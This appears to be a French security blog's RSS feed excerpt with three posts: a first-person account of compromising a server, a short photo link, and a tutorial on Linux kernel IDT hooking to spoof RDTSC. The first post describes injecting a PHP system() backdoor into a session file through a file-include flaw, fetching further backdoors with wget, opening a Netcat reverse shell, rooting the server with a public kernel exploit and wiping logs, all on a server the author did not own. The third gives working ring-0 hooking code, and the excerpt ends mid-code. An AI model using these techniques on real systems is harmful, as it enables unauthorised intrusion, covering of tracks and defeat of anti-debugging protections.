			<content:encoded><![CDATA[<p>Il y a quelques jours, je suis tombé sur un challenge de hack PHP. J&#8217;arrive sur une page avec une URL du type <code>www.site.com/index.php?page=main.php</code>,  qui ressemble étrangement à la célèbre faille include. En effet, quelques tests le démontrent. Autre part sur le site, on trouve une page protégée par un .htaccess. Pour le bypasser, on utilise naturellement cette faille include (ou bien <a href="http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/">cette autre méthode</a>). Mais ce n&#8217;est pas tout. Outre le fait qu&#8217;on ne puisse pas inclure de page distante (directive <code>allow_url_include</code> activée), l&#8217;administrateur n&#8217;a pas du tout protégé cette faille include. On peut donc inclure tous les fichiers locaux accessibles&#8230;<span id="more-713"></span></p>
<h3>Il était une fois une include non protégée&#8230;</h3>
<p>Je me lance donc dans l&#8217;exploration de l&#8217;arborescence en récupérant quelques fichiers intéressants. Commepar exemple /proc/version, qui indique que le serveur tourne sous une Ubuntu basée sur un kernel 2.6.25. Je regarde également  une partie de la configuration Apache dans /etc/apache2/apache2.conf, la liste des utilisateurs dans /etc/passwd. /etc/shadow est bien évidemment non accessible car Apache n&#8217;est pas lancé par le root. Mais sachant qu&#8217;un <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">exploit</a> touchant les Linux non patchés a récemment été <a href="http://www.milw0rm.com/exploits/9435">publié</a>,  je me dis qu&#8217;il doit certainement être possible de rooter le serveur à partir de là. Si j&#8217;arrive à exécuter des commandes sur le serveur avec les droits d&#8217;Apache, devenir root ne devrait pas être dur en utilisant cet exploit&#8230;</p>
<p>Je cherche donc un moyen d&#8217;utiliser la faille include pour pouvoir exécuter du code. Je pense en particulier à l&#8217;injection de commandes dans les logs Apache. Seul problème : ils ne sont lisibles que par le root, donc pas par Apache (il suffit de tester pour s&#8217;en rendre compte rapidement). Où vais-je donc pouvoir injecter mes commandes&#8230; ? Quels sont les fichiers manipulés par Apache et PHP dans lesquels on peut écrire indirectement et lire ensuite ? Sur le coup, je sèche&#8230;</p>
<h3>&#8230;un site utilisant les sessions&#8230;</h3>
<p>Là, <a href="http://www.ghostsinthestack.org/">Heurs</a> et <a href="http://virtualabs.fr">Virtualabs</a> me donnent la réponse : les sessions PHP. En effet, PHP stocke les variables de session dans des fichiers (elles sont sérialisées) qui se situent dans /var/lib/php5/. Leur nom suit le format <code>sess_$PHPSESSID</code> où <code>$PHPSESSID</code> est l&#8217;identifiant de session qui est envoyé dans le cookie, donc facilement récupérable. Et, coup de chance, il se trouve que le challenge en question utilise les sessions pour stocker l&#8217;utilisateur courant et son mot de passe. Champs qui ne sont sont bien pas vérifiés lors de la soumission du formulaire <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>C&#8217;est parti ! Je crée un compte bidon avec quelque chose comme <code>&lt;?php system($_GET['c']); ?&gt;</code> pour le login. Je soumet, récupère le cookie contenant l&#8217;identifiant de session, et inclus le fichier de session correspondant. Et là, j&#8217;obtiens une jolie backdoor PHP sur le serveur. Rudimentaire, certes, mais fonctionnelle ! A partir de là, j&#8217;en conçois une légèrement plus élaborée, que je place sur un de mes serveurs, et que je fais télécharger au serveur victime avec un <code>wget</code> (suivi d&#8217;un <code>mv</code>). Je peux maintenant exécuter des commandes PHP à volonté, lire des fichiers sources, etc. Je récupère une autre backdoor permettant d&#8217;obtenir un remote shell sur ma machine. J&#8217;ouvre un port avec Netcat sur ma machine, j&#8217;upload et lance la backdoor, et le tour est joué.</p>
<h3>&#8230; et un kernel non patché.</h3>
<p>Je peux maintenant exécuter des commandes de façon interactive, mais toujours avec les droits d&#8217;Apache. Je télécharge un des exploits sock_sendpage de Milw0rm, le compile sur le serveur (gcc y était installé, cool), je lance l&#8217;exécutable généré, et bing ! Root sur le serveur <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Comme mon but n&#8217;est pas de planter le serveur, je m&#8217;arrête ici. Enfin je prends quand même soin de supprimer toute trace de l&#8217;intrusion dans les logs. Et je garde un petit screenshot, pour envoyer au propriétaire du site, l&#8217;histoire de le prévenir. Bien entendu, pour envoyer le mail j&#8217;ai pris soin de créer un mail anonyme et de passer par un proxy, au cas où le propriétaire serait furax et menacerait de porter plainte&#8230; Heureusement, celui-ci est sympa ; il me répond rapidement et me remercie de l&#8217;avoir prévenu. Et vous savez le comble de l&#8217;histoire ? Ce serveur ne lui appartenait pas, il ne disposait pas lui-même des droits root <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Conclusion</h3>
<p>Je crois que cette histoire (vraie, pour ceux qui douteraient) illustre plutôt bien et de façon concrète la marche à suivre employée par un attaquant afin de prendre la main sur un serveur : exploitation d&#8217;une faille distante pour récupérer des informations, exécution de commandes dans le contexte du processus vulnérable, élévation de privilèges en utilisant un local root, et nettoyage des logs. De plus, cet exemple démontre que ce n&#8217;est pas parce que l&#8217;on a interdit l&#8217;inclusion de fichiers distant que l&#8217;on a un appel à include() sécurisé.</p>
<p>J&#8217;insiste enfin sur le fait que ce que j&#8217;ai réalisé ici était à la portée d&#8217;un script kiddie pour peu qu&#8217;il connaisse la faille, sache utiliser une backdoor PHP et compiler un exploit. Administrateurs de challenges de hack PHP, méfiez-vous : reproduire des applications vulnérables c&#8217;est bien, mais pensez à vous protéger un minimum pour éviter le pire&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/exploitation-de-faille-include-avec-les-sessions-php/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Photos NDH 2009</title>
		<link>http://www.segmentationfault.fr/divers/photos-ndh-2009/</link>
		<comments>http://www.segmentationfault.fr/divers/photos-ndh-2009/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 06:24:41 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Divers]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=711</guid>
		<description><![CDATA[News éclair : je viens d&#8217;apprendre sur le blogs de Virtualabs que les photos de la Nuit du Hack 2009 sont en ligne. C&#8217;est par ici.
]]></description>
			<content:encoded><![CDATA[<p>News éclair : je viens d&#8217;apprendre sur le blogs de <a href="http://www.virtualabs.fr">Virtualabs </a>que les photos de la Nuit du Hack 2009 sont en ligne. <a href="http://www.nuitduhack.com/photos-nuit-du-hack-2009.htm">C&#8217;est par ici</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/divers/photos-ndh-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RDTSC hooking sous Linux : théorie et pratique</title>
		<link>http://www.segmentationfault.fr/securite-informatique/rdtsc-hooking-linux/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/rdtsc-hooking-linux/#comments</comments>
		<pubDate>Tue, 14 Jul 2009 12:30:35 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ring 0]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=688</guid>
		<description><![CDATA[L&#8217;architecture x86 possède des subtilités parfois méconnues de beaucoup de développeurs. En effet, il existe une instruction assez spéciale, RDTSC, qui renvoie le nombre de cycles d&#8217;horloge depuis le démarrage du processeur. En 2007, un chercheur d&#8217;IBM présente au Black Hat une technique de hook basée sur cette instruction. En effet, il se trouve qu&#8217;il [...]]]></description>
			<content:encoded><![CDATA[<p>L&#8217;architecture x86 possède des subtilités parfois méconnues de beaucoup de développeurs. En effet, il existe une instruction assez spéciale, RDTSC, qui renvoie le nombre de cycles d&#8217;horloge depuis le démarrage du processeur. En 2007, un chercheur d&#8217;IBM <a href="https://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf">présente </a>au Black Hat une technique de hook basée sur cette instruction. En effet, il se trouve qu&#8217;il existe un flag dans le registre de contrôle CR4 permettant de désactiver cette instruction en ring 3, et de déclencher une exception #GP (int 13) lors de son appel. Via un hook de l&#8217;IDT par un driver codé maison, il devient donc possible de détourner les appels ring 3 à RDTSC, de filtrer les résultats et imaginer toutes sortes de choses. D&#8217;autant plus que RDTSC est couramment utilisée dans des application ayant trait à la sécurité, comme les méthodes d&#8217;anti-debugging ou de génération de nombres aléatoires&#8230;</p>
<p><span id="more-688"></span></p>
<p>Pour cet article, on se propose d&#8217;écrire un driver qui effectuera ce hook et qui détournera RDTSC afin de rendre les valeurs 11223344 et 55667788 respectivement dans EAX et EDX lorsqu&#8217;on l&#8217;appelle. Je présente en premier lieu la théorie nécessaire pour l&#8217;attaque, puis décris comment l&#8217;implémenter sous Linux. Enfin, je détaille une difficulté majeure à laquelle on peut faire face sur les distributions récentes telles qu&#8217;ArchLinux : le flag TIF_NOTSC.</p>
<h3>L&#8217;instruction RDTSC et le flag TSD</h3>
<p>RDTSC signifie &laquo;&nbsp;ReaD TimeStamp Counter&nbsp;&raquo;, autrement dit elle permet de lire le compteur de temps du processeur, incrémenté à chaque cycle d&#8217;horloge. Ce compteur n&#8217;est autre que le MSR IA32_TIME_STAMP_COUNTER (cf <a href="http://www.intel.com/products/processor/manuals/">manuel 3B d&#8217;Intel</a>, section 18.11). Celui-ci fait 64 bits et est retourné dans EDX et EAX lors de l&#8217;appel à RDTSC. Les applications classiques s&#8217;en servent généralement pour :</p>
<ul>
<li>Effectuer des mesures de performance (benchmark) sans passer par les fonctions du noyau</li>
<li>Générer des nombres pseudo-aléatoires, à cause du caractère à priori non prévisible de ce compteur (surtout des bits de poids faible)</li>
<li>Détecter des débogueur en mesurant des deltas entre deux instructions fixes ; si un débogueur est présent et qu&#8217;un breakpoint a été posé (ou que le mode step-by-step a été utilisé), le temps écoulé sera beaucoup plus long donc il est facile à l&#8217;application de quitter.</li>
</ul>
<p>Cependant, ce n&#8217;est pas exactement comme cela qu&#8217;est décrit l&#8217;instruction RDTSC dans le <a href="http://www.intel.com/products/processor/manuals/">manuel 2B d&#8217;Intel</a>. En effet, on peut y lire le pseudo-code suivant :</p>
<pre>IF (CR4.TSD = 0) or (CPL = 0) or (CR0.PE = 0)
THEN EDX:EAX ? TimeStampCounter;
ELSE (* CR4.TSD = 1 and (CPL = 1, 2, or 3) and CR0.PE = 1 *)
#GP(0);
FI;</pre>
<p>On y apprend que le registre CR4 possède un flag TSD qui, s&#8217;il est activé, provoquerait une exception lorsque RDTSC est appelé dans un ring supérieur à 0 (mode protégé). Cette exception est la General Protection Fault, notée #GP et définie à l&#8217;index 13 dans l&#8217;IDT (table des interruptions). L&#8217;OS traite cette exception par une routine du noyau qui n&#8217;est généralement pas prévue pour gérer ce cas, donc on aura par défaut droit à un crash du programme ayant appelé RDTSC. Sous Linux, cela se traduit par l&#8217;envoi d&#8217;un signal SIGSEGV au processus, causant une segmentation fault.</p>
<h3>IDT hooking</h3>
<p>Pour hooker RDTSC, il faut donc dans un premier temps mettre à 1 le flag TSD (bit 2) de CR4 pour déclencher une #GP. Mais ce que nous voulons, c&#8217;est appeler notre fonction et non celle du noyau lors de l&#8217;exception. Il va donc falloir patcher l&#8217;IDT en remplaçant l&#8217;adresse du handler 13 par le notre ; autrement dit, faire du IDT hooking.</p>
<p>L&#8217;IDT recense des descripteurs explicités à la section 5.11 du manuel 3A d&#8217;Intel. Les descripteurs suivant plus ou moins le même format :</p>
<div id="attachment_690" class="wp-caption aligncenter" style="width: 352px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2009/07/int_desc.PNG"><img class="size-full wp-image-690" title="Interrupt Descriptor" src="http://www.segmentationfault.fr/wp-content/uploads/2009/07/int_desc.PNG" alt="Descripteur d'interruption" width="342" height="124" /></a><p class="wp-caption-text">Descripteur d&#39;interruption</p></div>
<p>Comme d&#8217;habitude dans la doc Intel, le schéma se lit de bas en haut et de droite à gauche (little endian, quand tu nous tiens&#8230;). A la mode des autres descripteurs propres à l&#8217;architecture x86, on constate que le champ Offset est découpé en deux parties : poids forts et poids faibles. C&#8217;est ce champ qui pointe vers le handler à exécuter lors de l&#8217;exception. Il suffit de remplacer sa valeur par l&#8217;adresse d&#8217;une de nos fonctions, et nous pourrons alors détourner le flux d&#8217;exécution lors d&#8217;un appel ring 3 à RDTSC.</p>
<h3>Trouver l&#8217;IDT</h3>
<p>Pour pouvoir faire un hook de l&#8217;IDT, il faut d&#8217;abord savoir la trouver. En fait, il est nécessaire de préciser que pour les processeurs multi-coeur, il n&#8217;y a pas une seule IDT mais plusieurs :  une par cœur. Il est donc en théorie nécessaire de hooker toutes les IDT pour éviter les problèmes. Pour connaître l&#8217;IDT référencée par un cœur, il suffit d&#8217;utiliser l&#8217;instruction SIDT sur ce cœur. Cette instruction est accessible en ring 3 ; <a href="http://nibbles.tuxfamily.org/?p=372">voici un code</a> qui l&#8217;illustre. Cependant, si vous utilisez Linux dans une machine virtuelle telle que VirtualBox, il se peut que vous rencontriez des problèmes en fonction de vos options de virtualisation. En effet, l&#8217;instruction SIDT n&#8217;est pas toujours bien émulée par l&#8217;hyperviseur et il se peut que la valeur qu&#8217;elle retourne soit erronée. Préférez-donc la solution suivante si vous tenez à faire vos tests dans une VM.</p>
<p>Même si un procceseur peut avoir plusieurs IDT, Linux n&#8217;en utilise qu&#8217;une car chaque cœur référence la même. Celle-ci est définie dans le noyau par le symbole <code>idt_table</code>. Pour connaître son adresse, tentez :</p>
<pre>grep idt_table /proc/kallsyms</pre>
<p>Le premier champ retourné est l&#8217;addresse de l&#8217;IDT. Si cela ne vous renvoie rien, il vous faudra à la place utiliser le fichier /boot/Symbol.map, généré à la compilation du noyau. Il se peut que son nom soit quelque peu différent ; par exemple sous Ubuntu il suit le format /boot/System.map-$(uname -r) alors que sous ArchLinux il s&#8217;appelle /boot/System.map26.</p>
<h3>Conception du handler</h3>
<p>Une bonne conception du nouveau handler d&#8217;interruption est cruciale pour éviter de rendre instable tout le système. En effet, #GP est utilisée non seulement pour RDTSC mais aussi à chaque fois qu&#8217;un check de privilèges échoue (pour une bonne ou une mauvaise raison) dans l&#8217;OS, autrement dit un sacré paquet de fois&#8230; Autant dire qu&#8217;il est préférable de laisser l&#8217;OS gérer ces cas là tout seul.</p>
<p>Pour cela, il va falloir filtrer dans un premier temps les #GP dues à RDTSC et celles dues à une autre instruction. Détecter l&#8217;instruction fautive est facile vu que l&#8217;EIP a été empilé ; il suffit de le regarder, d&#8217;examiner ce qu&#8217;il pointe et de comparer cette valeur à l&#8217;opcode de RDTSC : 0F 31, soit 0&#215;310F en mot de 16 bits little endian. Si cela ne correspond pas, on saute sur le handler de base de l&#8217;OS pour ne pas tout crasher.</p>
<p>Ce n&#8217;est pas tout : les programmes ring 3 de l&#8217;OS aussi utilisent RDTSC. Si nous leur rendons des valeurs comme 0&#215;11223344, ils risquent d&#8217;avoir un comportement plutôt imprévisible, surtout s&#8217;ils s&#8217;en servent comme base de temps. J&#8217;ai d&#8217;ailleurs testé sous Linux ; Cron a segfaulté instantanément et la machine est devenue inutilisable en quelques secondes.</p>
<p>Bref, il faut se débrouiller pour rendre la bonne valeur à ces programmes. La solution est d&#8217;émuler RDTSC dans le driver, et de transmettre les résultats dans EAX et EDX au ring 3. Mais comment savoir quand retourner les bonnes et valeurs et les fakes ? La solution la plus simple qui m&#8217;est venue à l&#8217;esprit est d&#8217;utiliser le PIDs du processus courant, en supposant que l&#8217;on connaisse le PID à hooker. Pour transmettre au driver le PID du processus en question, on peut utiliser des IOCTLs, justement prévues pour la communication ring 3 &#8211; ring 0. Une fois que l&#8217;on a le PID, il suffit de consulter le PID courant et on peut savoir si on doit émuler RDTSC ou forger les valeurs.</p>
<h3>Récupération du PID courant</h3>
<p>Nous avons quasiment tout ce qu&#8217;il faut pour implémenter cette attaque sous Linux. La seule chose qu&#8217;il nous manque, c&#8217;est un moyen dé récupérer le PID du processus courant lorsque l&#8217;on est dans un handler d&#8217;interruption. Après lecture en diagonale du chapitre 7 d&#8217;<a href="http://books.google.fr/books?id=h0lltXyJ8aIC&amp;dq=understanding+linux+kernel&amp;printsec=frontcover&amp;source=bn&amp;hl=fr&amp;ei=RopbSsO8A4z0nQOdwfXdCQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=4">Understanding The Linux Kernel 3rd edition</a>, on constate qu&#8217;il existe une macro nommée <code>current</code> qui permet de récupérer un pointeur vers le descripteur de processus courant. Après avoir testé cette macro, je me suis rendu compte qu&#8217;elle ne marche en fait pas dans le contexte d&#8217;un handler d&#8217;interruption. Il faut utiliser à la place la fonction <code>current_thread_info()</code> qui marche à tous les coups. A partir de là, récupérer le PID est très simple, via l&#8217;expression suivante : <code>current_thread_info()-&gt;task-&gt;pid</code>.</p>
<h3>Implémentation 1</h3>
<p>Nous pouvons maintenant implémenter l&#8217;attaque. Je l&#8217;ai réalisé sans problèmes particulier sur une Ubuntu 9.04 avec un noyau 2.6.28, sur processeur AMD dualcore. Les sources sont disponibles plus bas ; voici les points principaux.</p>
<pre>//Typedefs
typedef unsigned char u_int8;
typedef unsigned short u_int16;
typedef unsigned int u_int32;
typedef unsigned long long int u_int64;

/**
 * An IDT entry. Cf Intel SDM 3A
 */
typedef struct {
 u_int16 low_offset;
 u_int16 selector;
 u_int8 unused_lo;
 u_int8 segment_type:4;
 u_int8 system_segment_flag:1;
 u_int8 DPL:2;
 u_int8 P:1;
 u_int16 hi_offset;
} __attribute__((packed)) IDTENTRY_ST, *P_IDTENTRY_ST;</pre>
<p>Dans un premier temps, on déclare la structure d&#8217;un descripteur d&#8217;interruption. On fera particulièrement attention à bien spécifier <code>__attribute__((packed))</code> pour spécifier au compilateur de ne pas faire de padding entre les champs. La fonction effectuant le hook est ci-après :</p>
<pre>//Interrupt handlers
u_int32 old_int_handler, new_int_handler2;

void HookOneIDT (P_IDTENTRY_ST _p_IDT, u_int32 _interrupt_number,
                 u_int32* _old_address, u_int32 _new_address)
{
 asm("cli\n\t");

 *_old_address =  ((_p_IDT[_interrupt_number].hi_offset &lt;&lt; 16)
                | (_p_IDT[_interrupt_number].low_offset));
 _p_IDT[_interrupt_number].hi_offset = (_new_address &gt;&gt; 16) &amp; 0xFFFF;
 _p_IDT[_interrupt_number].low_offset = (_new_address &amp; 0xFFFF);

 asm("sti\n\t");
}</pre>
<p>Rien de particulier ici, à part une désactivation temporaires des interruptions. D&#8217;ailleurs, pour être plus rigoureux, il aurait fallu les désactiver sur tous les cœurs, mais comme cette fonction sera appelée avec <code>interrupt_number = 13</code>, qui n&#8217;est de toutes façon pas masquable, il n&#8217;y a pas de risque.</p>
<p>Le nouveau handler d&#8217;interruption est codé à part dans un fichier assembleur. Il s&#8217;agit en fait d&#8217;un squelette qui sauvegarde le contexte et appelle une fonction C, pour des raisons de commodité :</p>
<pre>.globl interrupt_handler

//The interrupt handler.
//This function must be naked. Since it's not possible with gcc on x86 platforms, we put it in a separate asm file.
interrupt_handler: 

 //Save registers
 pusha
 pushf

 //Call our hook function and  the parameter
 //Since convention call of my_func_handler is fastcall, parameter has to be in %ecx
 mov %esp, %ecx
 call my_func_handler

 //Check the return value
 cmp $1, %eax

 //If 1, throw the exception away
 je  my_exit

 //Otherwise, restore registers
 popf
 popa

 //Jump to the original handler
 jmpl * old_int_handler

my_exit:

 //Restore registers
 popf
 popa

 //Pop interrupt error code
 add $4, %esp

 //Return from interrupt
 iret</pre>
<p>La fonction appelée, <code>my_func_handler</code>, doit déterminer la nature de l&#8217;exception et la traiter si besoin en détournant RDTSC. On utilise son code de retour pour savoir si l&#8217;on repasse la main au handler par défaut de Linux, ou si on se contente de retourner en userland.</p>
<pre>//Opcode for RDTSC : 0F 31 =&gt; 31 OF in little endian
#define RDTSC_OPCODE 0x310F

//Size of RDTSC instruction
#define RDTSC_SIZE   2

/**
 * Interrupt stack structures
 */
typedef struct
{
 u_int32 edi;
 u_int32 esi;
 u_int32 ebp;
 u_int32 esp;
 u_int32 ebx;
 u_int32 edx;
 u_int32 ecx;
 u_int32 eax;
} PUSHA_ST, *P_PUSHA_ST;

typedef struct
{
 u_int32 error_code;  // !! Check Intel Manuals to see if the error code is present or not
 u_int32 eip;
 u_int32 cs;
 u_int32 eflags;
 u_int32 esp;
 u_int32 sp;
} INT_STACK_HARD_ST, P_INT_STACK_HARD_ST;

typedef struct
{
 u_int32              eflags;

 PUSHA_ST             pusha_st;
 INT_STACK_HARD_ST    int_stack_hard_st;

} MY_INT_STACK_ST, *P_MY_INT_STACK_ST;

/**
 * Return current PID
 */
unsigned int GetCurrentPID (void)
{
 // !!! The 'current' macro doesn't work in interrupt context !
 // !!! We have to use current_thread_info()-&gt;task instead
 return current_thread_info()-&gt;task-&gt;pid;
}

/**
 * Function called by the interrupt handler.
 *  !! WARNING !! Don't call printk() inside, or the kernel will freeze !
 *
 * @param stack pointer to the stack
 * @return 0 if this is a normal #GP exception,
 * 1 if it is due to our RDTSC hook
 */
u_int32  __attribute__((__fastcall__))
         my_func_handler (P_MY_INT_STACK_ST stack)
{
 //nb_interrupts++;+
 asm volatile("lock incl nb_interrupts\n\t");

 //Detect if the instruction that triggered the exception is RDTSC
 if(* (u_int16*) stack-&gt;int_stack_hard_st.eip == (u_int16) RDTSC_OPCODE)
 {
 //Check who is executing RDTSC
 if(GetCurrentPID() == pid_to_hook)
 {
 //Change EAX and EDX with magic values
 stack-&gt;pusha_st.eax = 0x11223344;
 stack-&gt;pusha_st.edx = 0x55667788;
 }
 else
 {
 //Perform a normal call to RDTSC
 RDTSC_ST rdtsc;
 RDTSC(&amp;rdtsc);

 stack-&gt;pusha_st.eax = rdtsc.eax;
 stack-&gt;pusha_st.edx = rdtsc.edx;
 }

 //Increment EIP
 stack-&gt;int_stack_hard_st.eip += RDTSC_SIZE;

 return 1;
 }
 else
 {
 return 0;
 }

}</pre>
<p>Il y a plusieurs détails qui ont leur importance. D&#8217;une part,on définit des structures correspondant à l&#8217;état de la pile lors de l&#8217;appel à cette fonction. Cela inclut les registres généraux pushés par PUSHA ainsi que les valeurs pushés automatiquement par le processeur. Il faut faire attention à bien inverser leur ordre relativement aux specifications d&#8217;Intel, vu que la pile croît des addresses hautes vers les basses. On récupère l&#8217;EIP empilé, on déréférence ce pointeur et on compare le mot de 16 bits avec l&#8217;opcode de RDTSC renversé (vu qu&#8217;il se trouve en mémoire, donc en little-endian). On émule RDTSC su besoin, et on n&#8217;oublie pas d&#8217;incrémenter EIP afin de sauter par dessus l&#8217;instruction lors du retour. On notera que le debug de cette fonction n&#8217;est pas trivial, car il est impossible d&#8217;utiliser des fonctions comme <code>printk()</code> à l&#8217;intérieur.</p>
<p>Voici désormais la partie relative aux IOCTLs. Je n&#8217;ai pas détaillé cette partie précédemment car elle fait plutôt partie d&#8217;un choix d&#8217;implémentation.</p>
<pre>#include &lt;linux/ioctl.h&gt;

//The device name in /proc/devices
#define DEVICE_NAME        "rdtsc_exploit"

//The name of the device file in /dev
#define DEVICE_FILE_NAME   "/dev/rdtsc_exploit"

//IOCTL command codes
#define IOCTL_SET_PID    _IOWR(0, 0, unsigned int)

//Device major and minor numbers
static dev_t g_device_num;

//Count the number of hooked interrupts
extern volatile unsigned int nb_interrupts;

//The file_operation structure, to link the device
//to the appropriate handlers
static struct file_operations g_fops = {
 .owner   = THIS_MODULE,
 .ioctl   = my_ioctl,
};

//Char device structure
static struct cdev g_device;</pre>
<p>Sous Linux, pour pouvoir communiquer avec un module en utilisant des IOCTLs, il faut créer un périphérique virtuel en mode caractère (char device) et lui assigner un handler l&#8217;ioctl. Ce device possèdera un numéro majeur dynamiquement alloué par le noyau. Pour le numéro mineur, nous choisissons simplement 0. Une fois ces ressources allouées, nous enregistrons le device ce qui a pour effet de le faire apparaître dans /proc/devices. Tout ce procédé est fort bien décrit aux chapitres 3 et 6 de <a href="http://lwn.net/Kernel/LDD3/">Linux Device Drivers, 3rd edition</a>, livre libre que je vous conseille vivement.</p>
<pre>/**
 * Create the device
 */
int create_device (void)
{
 //Allocate the device major and minor
 if(alloc_chrdev_region(&amp;g_device_num, 0, 1, DEVICE_NAME))
 {
 printk(KERN_INFO "ERROR: alloc_chrdev_region FAILED\n");
 return -1;
 }

 //Initialise the device
 cdev_init(&amp;g_device, &amp;g_fops);

 //Fill in some fields (optional)
 g_device.owner = THIS_MODULE;
 g_device.ops = &amp;g_fops;

 //Register the device into the kernel
 if(cdev_add(&amp;g_device, g_device_num, 1))
 {
 printk(KERN_INFO "ERROR: cdev_add FAILED\n");
 return -1;
 }

 printk(KERN_INFO "Device registrated successfully - name = %s, "
                  "major = %d, minor = %d\n", DEVICE_NAME,
                  MAJOR(g_device_num), MINOR(g_device_num));

 return 0;
}

/**
 * Delete the device
 */
void delete_device (void)
{
 //Unregister the device
 cdev_del(&amp;g_device);

 //Unregister the device number
 unregister_chrdev_region(g_device_num, 1);
}</pre>
<p>Ces deux fonctions réalisent la création et la suppression du device.</p>
<p>Pour manipuler le flag TSD de CR4, on cree les fonctions suivantes :</p>
<pre>//Flag of CR4 that disable RDTSC in userland
#define FLAG_DISABLE_USER_RDTSC 0x4

/**
 * Get CR4 value
 */
u_int32 GetCR4 (void)
{
 u_int32 res = 0;

 asm volatile (
 "push %%eax\t\n"
 "mov %%cr4, %%eax\t\n"
 "mov %%eax, %0\t\n"
 "pop %%eax\t\n"
 : "=m"(res));

 return res;
}

/**
 * Set CR4 value
 */
void SetCR4 (u_int32 _new_cr4)
{
 asm volatile(
 "push %%eax\t\n"
 "mov %0, %%eax\t\n"
 "mov %%eax, %%cr4\t\n"
 "pop %%eax\t\n"
 : : "m" (_new_cr4));
}

/**
 * Enable userland calls to RDTSC
 */
void EnableUserRDTSC (void)
{
 SetCR4(GetCR4() &amp; ~FLAG_DISABLE_USER_RDTSC);
}

/**
 * Disable userland calls to RDTSC
 */
void DisableUserRDTSC (void)
{
 SetCR4(GetCR4() | FLAG_DISABLE_USER_RDTSC);
}</pre>
<p>On notera au passage la syntaxe assez inhabituelle de l&#8217;assembleur inline de GCC, notemment les doubles % nécessaires puisque l&#8217;on utilise des références (%0), ainsi que les \n\t en fin de ligne. Et bien entendu, les arguments inversés par rapport à la syntaxe officielle d&#8217;Intel.</p>
<p>Lors du chargement du driver, il suffira de hooker l&#8217;IDT et de positionner le flag CR4.TSD. Cependant, cette dernière opération doit être faite sur tous les coeurs. On utilisera donc la macro <code>on_each_cpu()</code>.</p>
<pre>//Hook the General Protection Fault handler (0x0D)
#define INTERRUPT_VECTOR_TO_HOOK 0x0D

#include &lt;linux/module.h&gt;  /* Needed by all modules */
#include &lt;linux/kernel.h&gt;  /* Needed for KERN_ALERT */
#include &lt;linux/init.h&gt;     // Needed for the macros

#include "../include/defines.h"
#include "hook.h"
#include "device.h"

static int module_load(void)
{
 Hook();
 create_device();

 //Must return 0, otherwise the module is not loaded
 return 0;
}

static void module_unload(void)
{
 delete_device();
 UnHook();
}  

module_init(module_load);
module_exit(module_unload);

/**
 * Hook
 */
void Hook ()
{
 //Get the IDT address (all CPUS use the same)
 P_IDTENTRY_ST pIDT = GetIDTSoft();

 printk(KERN_INFO "interrupt_handler = %08x\n", (u_int32) interrupt_handler);

 //Hook interrupt handler
 HookOneIDT(pIDT, INTERRUPT_VECTOR_TO_HOOK,
            &amp;old_int_handler, (u_int32) interrupt_handler);

 //Hook RDTSC
 on_each_cpu(DisableUserRDTSC, 0, 0);
}

/**
 * Unhook
 */
void UnHook ()
{
 //Unhook RDTSC
 on_each_cpu(EnableUserRDTSC, 0, 0);

 //Unhook interrupt handler
 HookOneIDT(GetIDTSoft(), INTERRUPT_VECTOR_TO_HOOK,
            &amp;new_int_handler2, old_int_handler);
}</pre>
<p>Dans mon prototype, je récupère l&#8217;adresse de l&#8217;IDT en userland dans le Makefile&#8230;</p>
<pre>IDT_ADDRESS = "0x`grep idt_table /boot/System.map-2.6.28-11-generic
               | cut -d ' ' -f 1`"</pre>
<p>&#8230; que je passe en paramètre à GCC lors de la compilation avec le flag -D. Le module la récupère comme une constante pré-processeur :</p>
<pre>/**
 * Get a pointer to the IDT - the soft way.
 * Works perfectly in VMs, but we either have to hardcode the IDT offset,
 * or read it from userland ('grep idt_table /proc/kallsyms'
 * or 'grep idt_table /boot/System.map').
 */
P_IDTENTRY_ST GetIDTSoft (void)
{
 P_IDTENTRY_ST pIDT = 0;

 pIDT = (P_IDTENTRY_ST) IDT_ADDRESS;

 return pIDT;
}</pre>
<p>En userland, il faudra transmettre le PID à hooker au device, ce qui se fait par le code suivant :</p>
<pre>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;

#include "defines.h"

int main(int ac, char **av)
{

 //int i;
 int fd;
 int pid_to_hook;

 if(ac != 2)
 {
 printf("Usage: set_pid pid\n");
 printf("Set the pid to hook.\n\n");
 exit(0);
 }

 pid_to_hook = atoi(av[1]);

 if(pid_to_hook &lt;= 0)
 {
 fprintf(stderr, "Error, pid must be &gt; 0.\n");
 exit(1);
 }

 //Open the device in order to communicate with the driver
 fd = open(DEVICE_FILE_NAME, O_RDONLY);

 if(fd == -1)
 {
 printf("Error: %s does not exist!\n", DEVICE_FILE_NAME);
 exit(1);
 }

 //Send IOCTLs to the driver to set the pid do hook
